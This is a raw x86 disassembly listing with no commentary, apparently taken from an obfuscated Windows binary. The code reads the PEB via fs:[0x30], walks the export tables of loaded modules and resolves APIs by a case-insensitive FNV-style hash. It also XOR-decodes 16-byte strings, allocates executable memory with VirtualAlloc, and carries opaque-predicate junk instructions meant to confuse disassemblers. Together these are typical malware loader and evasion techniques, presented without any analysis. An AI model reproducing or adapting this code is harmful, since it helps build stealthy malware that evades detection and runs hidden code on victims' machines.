mov dword [esp + 0xe5c], ecx
mov dword [esp + 0xe58], eax
mov eax, dword [esp + 0xe5c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xe58]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xe64], 0x856d9c29
mov dword [esp + 0xe60], 0x317a7a09
mov eax, dword [esp + 0xe64]
mov dword [esp + 0xe54], ecx
mov dword [esp + 0xe50], eax
mov eax, dword [esp + 0xe50]
mov dword [esp + 0xe4c], eax
mov eax, dword [esp + 0xe54]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xe54], ecx
mov al, byte [eax]
mov byte [esp + 0xe4b], al
cmp byte [esp + 0xe4b], 0
je 0x43b5c9
mov ecx, dword [esp + 0xe4c]
mov al, byte [esp + 0xe4b]
mov dword [esp + 0xe94], ecx
mov byte [esp + 0xe93], al
mov eax, dword [esp + 0xe94]
mov dword [esp + 0x198], eax
movsx eax, byte [esp + 0xe93]
cmp eax, 0x41
jl 0x43b598
movsx eax, byte [esp + 0xe93]
cmp eax, 0x5a
jg 0x43b598
movsx eax, byte [esp + 0xe93]
or eax, 0x20
mov dword [esp + 0x194], eax
jmp 0x43b5a7
movsx eax, byte [esp + 0xe93]
mov dword [esp + 0x194], eax
mov eax, dword [esp + 0x198]
mov ecx, dword [esp + 0x194]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xe4c], eax
jmp 0x43b516
mov eax, dword [esp + 0xe4c]
mov dword [esp + 0xe6c], 0x856d9c29
mov dword [esp + 0xe68], 0x317a7a09
mov ecx, dword [esp + 0xe68]
cmp eax, ecx
je 0x43b626
jmp 0x43b486
jmp 0x43b5f8
lea eax, [esp + 0xe24]
mov dword [esp + 0xe80], eax
mov eax, dword [esp + 0xe80]
mov ecx, dword [eax]
mov dword [esp + 0xe98], ecx
mov ecx, dword [esp + 0xe98]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43b3c5
mov eax, dword [esp + 0xe14]
lea ecx, [esp + 0xe18]
mov dword [esp + 0xe7c], ecx
mov dword [esp + 0xe78], eax
mov eax, dword [esp + 0xe7c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xe74], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xe70], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xe74]
mov edx, dword [esp + 0xe70]
mov esi, dword [esp + 0xe78]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xe28], eax
mov eax, dword [esp + 0xe28]
mov dword [esp + 0x18c], eax
mov eax, dword [esp + 0x99c]
mov dword [esp + 0xa2c], eax
mov eax, dword [esp + 0xa2c]
mov dword [esp + 0xa50], eax
mov eax, dword [esp + 0xa50]
mov dword [esp + 0x190], eax
mov dword [esp + 0xaa4], eax
mov eax, dword [esp + 0xaa4]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43b756
mov eax, dword [esp + 0x190]
mov dword [esp + 0xb38], eax
mov dword [esp + 0xb34], eax
mov eax, dword [esp + 0xb38]
mov dword [esp + 0x188], eax
mov dword [esp + 0xb30], 0
cmp dword [esp + 0xb30], 0x10
jge 0x43b754
mov eax, dword [esp + 0x188]
mov ecx, dword [esp + 0xb34]
mov edx, dword [esp + 0xb30]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xb30]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xb30]
add eax, 1
mov dword [esp + 0xb30], eax
jmp 0x43b709
jmp 0x43b756
mov eax, dword [esp + 0x18c]
mov edx, dword [esp + 0x190]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43b76f
jmp 0x43b771
mov ecx, dword [esp + 0x90c]
mov eax, dword [esp + 0x8f0]
mov edx, dword [eax + 0x50]
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 0xc], 0x40
mov dword [eax + 8], 0x3000
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [esp + 0x184], eax
jmp 0x43b7aa
mov eax, dword [esp + 0x184]
mov dword [esp + 0x910], eax
cmp dword [esp + 0x910], 0
jne 0x43c6c1
cmp dword [esp + 0x8d0], 0
jne 0x43bc06
mov eax, esp
lea ecx, [esp + 0x85b]
mov dword [eax], ecx
lea ecx, [esp + 0x85c]
call fcn.0043eed0
sub esp, 4
jmp 0x43b7f0
lea eax, [esp + 0x86c]
mov dword [esp + 0x9a8], eax
lea eax, [esp + 0x85c]
mov dword [esp + 0x9a4], eax
lea eax, [esp + 0xeac]
mov dword [esp + 0xeb4], eax
mov eax, dword [esp + 0xeb4]
mov dword [esp + 0xf10], 0x30
mov ecx, dword [esp + 0xf10]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xf0c], ecx
mov ecx, dword [esp + 0xf0c]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xeac]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xea0]
mov dword [esp + 0xec4], ecx
mov dword [esp + 0xec0], eax
mov eax, dword [esp + 0xec4]
mov ecx, dword [esp + 0xec0]
mov dword [eax], ecx
mov ecx, dword [esp + 0xec0]
mov dword [esp + 0xf14], ecx
mov ecx, dword [esp + 0xf14]
mov edx, dword [esp + 0xf14]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xeb8], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xebc], ecx
mov ecx, dword [esp + 0xec0]
add ecx, dword [esp + 0xeb8]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xebc]
mov dword [eax + 8], ecx
lea eax, [esp + 0xea0]
mov dword [esp + 0xec8], eax
mov ecx, dword [esp + 0xec8]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43ba7f
lea eax, [esp + 0xea0]
mov dword [esp + 0xecc], eax
mov eax, dword [esp + 0xecc]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xe9c], eax
mov eax, dword [esp + 0xe9c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xe9c], ecx
cmp eax, 0
je 0x43ba7d
mov eax, dword [esp + 0xe9c]
lea ecx, [esp + 0xea0]
mov dword [esp + 0xee4], ecx
mov dword [esp + 0xee0], eax
mov eax, dword [esp + 0xee4]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xee0]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xeec], 0x14097097
mov dword [esp + 0xee8], 0xc1fb0c13
mov eax, dword [esp + 0xeec]
mov dword [esp + 0xedc], ecx
mov dword [esp + 0xed8], eax
mov eax, dword [esp + 0xed8]
mov dword [esp + 0xed4], eax
mov eax, dword [esp + 0xedc]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xedc], ecx
mov al, byte [eax]
mov byte [esp + 0xed3], al
cmp byte [esp + 0xed3], 0
je 0x43ba50
mov ecx, dword [esp + 0xed4]
mov al, byte [esp + 0xed3]
mov dword [esp + 0xf1c], ecx
mov byte [esp + 0xf1b], al
mov eax, dword [esp + 0xf1c]
mov dword [esp + 0x180], eax
movsx eax, byte [esp + 0xf1b]
cmp eax, 0x41
jl 0x43ba1f
movsx eax, byte [esp + 0xf1b]
cmp eax, 0x5a
jg 0x43ba1f
movsx eax, byte [esp + 0xf1b]
or eax, 0x20
mov dword [esp + 0x17c], eax
jmp 0x43ba2e
movsx eax, byte [esp + 0xf1b]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x180]
mov ecx, dword [esp + 0x17c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xed4], eax
jmp 0x43b99d
mov eax, dword [esp + 0xed4]
mov dword [esp + 0xef4], 0x14097097
mov dword [esp + 0xef0], 0xc1fb0c13
mov ecx, dword [esp + 0xef0]
cmp eax, ecx
je 0x43baad
jmp 0x43b90d
jmp 0x43ba7f
lea eax, [esp + 0xeac]
mov dword [esp + 0xf08], eax
mov eax, dword [esp + 0xf08]
mov ecx, dword [eax]
mov dword [esp + 0xf20], ecx
mov ecx, dword [esp + 0xf20]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43b84c
mov eax, dword [esp + 0xe9c]
lea ecx, [esp + 0xea0]
mov dword [esp + 0xf04], ecx
mov dword [esp + 0xf00], eax
mov eax, dword [esp + 0xf04]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xefc], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xef8], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xefc]
mov edx, dword [esp + 0xef8]
mov esi, dword [esp + 0xf00]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xeb0], eax
mov eax, dword [esp + 0xeb0]
mov dword [esp + 0x174], eax
mov eax, dword [esp + 0x9a4]
mov dword [esp + 0xa28], eax
mov eax, dword [esp + 0xa28]
mov dword [esp + 0xa54], eax
mov eax, dword [esp + 0xa54]
mov dword [esp + 0x178], eax
mov dword [esp + 0xaa0], eax
mov eax, dword [esp + 0xaa0]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43bbdd
mov eax, dword [esp + 0x178]
mov dword [esp + 0xb2c], eax
mov dword [esp + 0xb28], eax
mov eax, dword [esp + 0xb2c]
mov dword [esp + 0x170], eax
mov dword [esp + 0xb24], 0
cmp dword [esp + 0xb24], 0x10
jge 0x43bbdb
mov eax, dword [esp + 0x170]
mov ecx, dword [esp + 0xb28]
mov edx, dword [esp + 0xb24]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xb24]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xb24]
add eax, 1
mov dword [esp + 0xb24], eax
jmp 0x43bb90
jmp 0x43bbdd
mov eax, dword [esp + 0x174]
mov edx, dword [esp + 0x178]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43bbf6
jmp 0x43bbf8
xor eax, eax
mov dword [esp], 0
call sub.msvcrt.dll_exit
movsx eax, byte [section..data]
mov dword [esp + 0x168], eax
call fcn.00434840
mov byte [esp + 0x16f], al
jmp 0x43bc22
mov eax, dword [esp + 0x168]
mov cl, byte [esp + 0x16f]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x160], eax
call fcn.00434850
mov byte [esp + 0x167], al
jmp 0x43bc4a
mov eax, dword [esp + 0x160]
mov cl, byte [esp + 0x167]
movsx ecx, cl
movsx edx, byte [0x4a4201]
imul ecx, edx
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*2]
mov dword [esp + 0x158], eax
call fcn.00434860
mov byte [esp + 0x15f], al
jmp 0x43bc80
mov eax, dword [esp + 0x158]
mov cl, byte [esp + 0x15f]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43c237
mov dword [esp + 0x964], 0x40220000
mov dword [esp + 0x960], 0
xor eax, eax
je 0x43bcb7
add dl, dh
movups xmm0, xmmword [esp + 0x960]
movsd xmm0, qword [esp + 0x960]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x958], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x14c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x14c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x154], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x150], eax
call fcn.00434890
mov ecx, dword [esp + 0x150]
mov dl, al
mov eax, dword [esp + 0x154]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43bde7
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x140], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x140]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x144], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x144]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x148], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x148]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43bde5
mov dword [esp + 0x968], 0xa
jmp 0x43bf14
jmp 0x43bde7
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x134], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x134]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x13c], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x138], eax
call fcn.00434890
mov ecx, dword [esp + 0x138]
mov dl, al
mov eax, dword [esp + 0x13c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43bf12
movsd xmm0, qword [esp + 0x958]
movsd qword [esp + 0x128], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x120], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x120]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x130], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x124], eax
call fcn.00434890
mov ecx, dword [esp + 0x124]
movsd xmm0, qword [esp + 0x128]
mov dl, al
mov eax, dword [esp + 0x130]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x968], eax
jmp 0x43bf14
ud2
movsx eax, byte [0x4a3001]
mov dword [esp + 0x118], eax
call fcn.00434870
mov byte [esp + 0x11f], al
jmp 0x43bf30
mov eax, dword [esp + 0x118]
mov cl, byte [esp + 0x11f]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x110], eax
call fcn.00434880
mov byte [esp + 0x117], al
jmp 0x43bf58
mov al, byte [esp + 0x117]
movsx eax, al
lea eax, [eax + eax*4]
mov dword [esp + 0x108], eax
call fcn.00434890
mov byte [esp + 0x10f], al
jmp 0x43bf7a
mov eax, dword [esp + 0x110]
mov ecx, dword [esp + 0x108]
mov dl, byte [esp + 0x10f]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43c232
mov dword [esp + 0x94c], 0x40240000
mov dword [esp + 0x948], 0
xor eax, eax
je 0x43bfd3
add dl, dh
movups xmm0, xmmword [esp + 0x948]
movsd xmm0, qword [esp + 0x948]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x940], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0xfc], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0xfc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x104], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x100], eax
call fcn.00434890
mov ecx, dword [esp + 0x100]
mov dl, al
mov eax, dword [esp + 0x104]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43c103
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0xf0], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0xf0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0xf4], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0xf4]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0xf8], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0xf8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43c101
mov dword [esp + 0x954], 0xa
jmp 0x43c230
jmp 0x43c103
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0xe4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0xe4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0xec], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0xe8], eax
call fcn.00434890
mov ecx, dword [esp + 0xe8]
mov dl, al
mov eax, dword [esp + 0xec]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43c22e
movsd xmm0, qword [esp + 0x940]
movsd qword [esp + 0xd8], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0xd0], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0xd0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0xe0], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0xd4], eax
call fcn.00434890
mov ecx, dword [esp + 0xd4]
movsd xmm0, qword [esp + 0xd8]
mov dl, al
mov eax, dword [esp + 0xe0]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x954], eax
jmp 0x43c230
ud2
jmp 0x43c232
jmp 0x43c6bd
mov eax, dword [esp + 0x8f0]
mov ecx, dword [eax + 0x50]
mov eax, esp
mov dword [eax + 4], ecx
mov dword [eax + 0xc], 0x40
mov dword [eax + 8], 0x3000
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [esp + 0xcc], eax
jmp 0x43c26d
mov eax, dword [esp + 0xcc]
mov dword [esp + 0x910], eax
cmp dword [esp + 0x910], 0
jne 0x43c6bb
mov eax, esp
lea ecx, [esp + 0x849]
mov dword [eax], ecx
lea ecx, [esp + 0x84a]
call fcn.0043ef30
sub esp, 4
jmp 0x43c2a5
lea eax, [esp + 0x85a]
mov dword [esp + 0x9b0], eax
lea eax, [esp + 0x84a]
mov dword [esp + 0x9ac], eax
lea eax, [esp + 0xf34]
mov dword [esp + 0xf3c], eax
mov eax, dword [esp + 0xf3c]
mov dword [esp + 0xf98], 0x30
mov ecx, dword [esp + 0xf98]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xf94], ecx
mov ecx, dword [esp + 0xf94]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xf34]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xf28]
mov dword [esp + 0xf4c], ecx
mov dword [esp + 0xf48], eax
mov eax, dword [esp + 0xf4c]
mov ecx, dword [esp + 0xf48]
mov dword [eax], ecx
mov ecx, dword [esp + 0xf48]
mov dword [esp + 0xf9c], ecx
mov ecx, dword [esp + 0xf9c]
mov edx, dword [esp + 0xf9c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xf40], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xf44], ecx
mov ecx, dword [esp + 0xf48]
add ecx, dword [esp + 0xf40]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xf44]
mov dword [eax + 8], ecx
lea eax, [esp + 0xf28]
mov dword [esp + 0xf50], eax
mov ecx, dword [esp + 0xf50]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43c534
lea eax, [esp + 0xf28]
mov dword [esp + 0xf54], eax
mov eax, dword [esp + 0xf54]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xf24], eax
mov eax, dword [esp + 0xf24]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xf24], ecx
cmp eax, 0
je 0x43c532
mov eax, dword [esp + 0xf24]
lea ecx, [esp + 0xf28]
mov dword [esp + 0xf6c], ecx
mov dword [esp + 0xf68], eax
mov eax, dword [esp + 0xf6c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xf68]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xf74], 0xf7dd63e0
mov dword [esp + 0xf70], 0xa5c7bb08
mov eax, dword [esp + 0xf74]
mov dword [esp + 0xf64], ecx
mov dword [esp + 0xf60], eax
mov eax, dword [esp + 0xf60]
mov dword [esp + 0xf5c], eax
mov eax, dword [esp + 0xf64]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xf64], ecx
mov al, byte [eax]
mov byte [esp + 0xf5b], al
cmp byte [esp + 0xf5b], 0
je 0x43c505
mov ecx, dword [esp + 0xf5c]
mov al, byte [esp + 0xf5b]
mov dword [esp + 0xfa4], ecx
mov byte [esp + 0xfa3], al
mov eax, dword [esp + 0xfa4]
mov dword [esp + 0xc8], eax
movsx eax, byte [esp + 0xfa3]
cmp eax, 0x41
jl 0x43c4d4
movsx eax, byte [esp + 0xfa3]
cmp eax, 0x5a
jg 0x43c4d4
movsx eax, byte [esp + 0xfa3]
or eax, 0x20
mov dword [esp + 0xc4], eax
jmp 0x43c4e3
movsx eax, byte [esp + 0xfa3]
mov dword [esp + 0xc4], eax
mov eax, dword [esp + 0xc8]
mov ecx, dword [esp + 0xc4]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xf5c], eax
jmp 0x43c452
mov eax, dword [esp + 0xf5c]
mov dword [esp + 0xf7c], 0xf7dd63e0
mov dword [esp + 0xf78], 0xa5c7bb08
mov ecx, dword [esp + 0xf78]
cmp eax, ecx
je 0x43c562
jmp 0x43c3c2
jmp 0x43c534
lea eax, [esp + 0xf34]
mov dword [esp + 0xf90], eax
mov eax, dword [esp + 0xf90]
mov ecx, dword [eax]
mov dword [esp + 0xfa8], ecx
mov ecx, dword [esp + 0xfa8]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x43c301
mov eax, dword [esp + 0xf24]
lea ecx, [esp + 0xf28]
mov dword [esp + 0xf8c], ecx
mov dword [esp + 0xf88], eax
mov eax, dword [esp + 0xf8c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xf84], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xf80], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xf84]
mov edx, dword [esp + 0xf80]
mov esi, dword [esp + 0xf88]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xf38], eax
mov eax, dword [esp + 0xf38]
mov dword [esp + 0xbc], eax
mov eax, dword [esp + 0x9ac]
mov dword [esp + 0xa24], eax
mov eax, dword [esp + 0xa24]
mov dword [esp + 0xa58], eax
mov eax, dword [esp + 0xa58]
mov dword [esp + 0xc0], eax
mov dword [esp + 0xa9c], eax
mov eax, dword [esp + 0xa9c]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x43c692
mov eax, dword [esp + 0xc0]
mov dword [esp + 0xb20], eax
mov dword [esp + 0xb1c], eax
mov eax, dword [esp + 0xb20]
mov dword [esp + 0xb8], eax
mov dword [esp + 0xb18], 0
cmp dword [esp + 0xb18], 0x10
jge 0x43c690
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xb1c]
mov edx, dword [esp + 0xb18]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc2
xor ecx, 0xca
mov dl, cl
mov ecx, dword [esp + 0xb18]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xb18]
add eax, 1
mov dword [esp + 0xb18], eax
jmp 0x43c645
jmp 0x43c692
mov eax, dword [esp + 0xbc]
mov edx, dword [esp + 0xc0]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
jmp 0x43c6ab
jmp 0x43c6ad
xor eax, eax
mov dword [esp], 0
call sub.msvcrt.dll_exit
jmp 0x43c6bd
jmp 0x43c6bf
jmp 0x43c6c1
mov eax, esp
lea ecx, [esp + 0x837]
mov dword [eax], ecx
lea ecx, [esp + 0x838]
call fcn.0043ef90
sub esp, 4
jmp 0x43c6dd
lea eax, [esp + 0x848]
mov dword [esp + 0x9b8], eax
lea eax, [esp + 0x838]
mov dword [esp + 0x9b4], eax
lea eax, [esp + 0xfbc]
mov dword [esp + 0xfc4], eax
mov eax, dword [esp + 0xfc4]
mov dword [esp + 0x1020], 0x30
mov ecx, dword [esp + 0x1020]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x101c], ecx
mov ecx, dword [esp + 0x101c]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xfbc]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xfb0]
mov dword [esp + 0xfd4], ecx
mov dword [esp + 0xfd0], eax
mov eax, dword [esp + 0xfd4]
mov ecx, dword [esp + 0xfd0]
mov dword [eax], ecx
mov ecx, dword [esp + 0xfd0]
mov dword [esp + 0x1024], ecx
mov ecx, dword [esp + 0x1024]
mov edx, dword [esp + 0x1024]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xfc8], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xfcc], ecx
mov ecx, dword [esp + 0xfd0]
add ecx, dword [esp + 0xfc8]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xfcc]
mov dword [eax + 8], ecx
lea eax, [esp + 0xfb0]
mov dword [esp + 0xfd8], eax
mov ecx, dword [esp + 0xfd8]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x43c96c
lea eax, [esp + 0xfb0]
mov dword [esp + 0xfdc], eax
mov eax, dword [esp + 0xfdc]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xfac], eax
mov eax, dword [esp + 0xfac]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xfac], ecx
cmp eax, 0
je 0x43c96a
mov eax, dword [esp + 0xfac]
lea ecx, [esp + 0xfb0]
mov dword [esp + 0xff4], ecx
mov dword [esp + 0xff0], eax
mov eax, dword [esp + 0xff4]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xff0]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xffc], 0x60d28dc0
mov dword [esp + 0xff8], 0xe92bfde8
mov eax, dword [esp + 0xffc]
mov dword [esp + 0xfec], ecx
mov dword [esp + 0xfe8], eax
mov eax, dword [esp + 0xfe8]
mov dword [esp + 0xfe4], eax
mov eax, dword [esp + 0xfec]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xfec], ecx
mov al, byte [eax]
mov byte [esp + 0xfe3], al
cmp byte [esp + 0xfe3], 0
je 0x43c93d
mov ecx, dword [esp + 0xfe4]
mov al, byte [esp + 0xfe3]
mov dword [esp + 0x102c], ecx
mov byte [esp + 0x102b], al
mov eax, dword [esp + 0x102c]
mov dword [esp + 0xb4], eax
movsx eax, byte [esp + 0x102b]
cmp eax, 0x41
jl 0x43c90c
movsx eax, byte [esp + 0x102b]
cmp eax, 0x5a
jg 0x43c90c
movsx eax, byte [esp + 0x102b]
or eax, 0x20
mov dword [esp + 0xb0], eax
jmp 0x43c91b
movsx eax, byte [esp + 0x102b]
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0xb0]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xfe4], eax
jmp 0x43c88a
mov eax, dword [esp + 0xfe4]
mov dword [esp + 0x1004], 0x60d28dc0
mov dword [esp + 0x1000], 0xe92bfde8
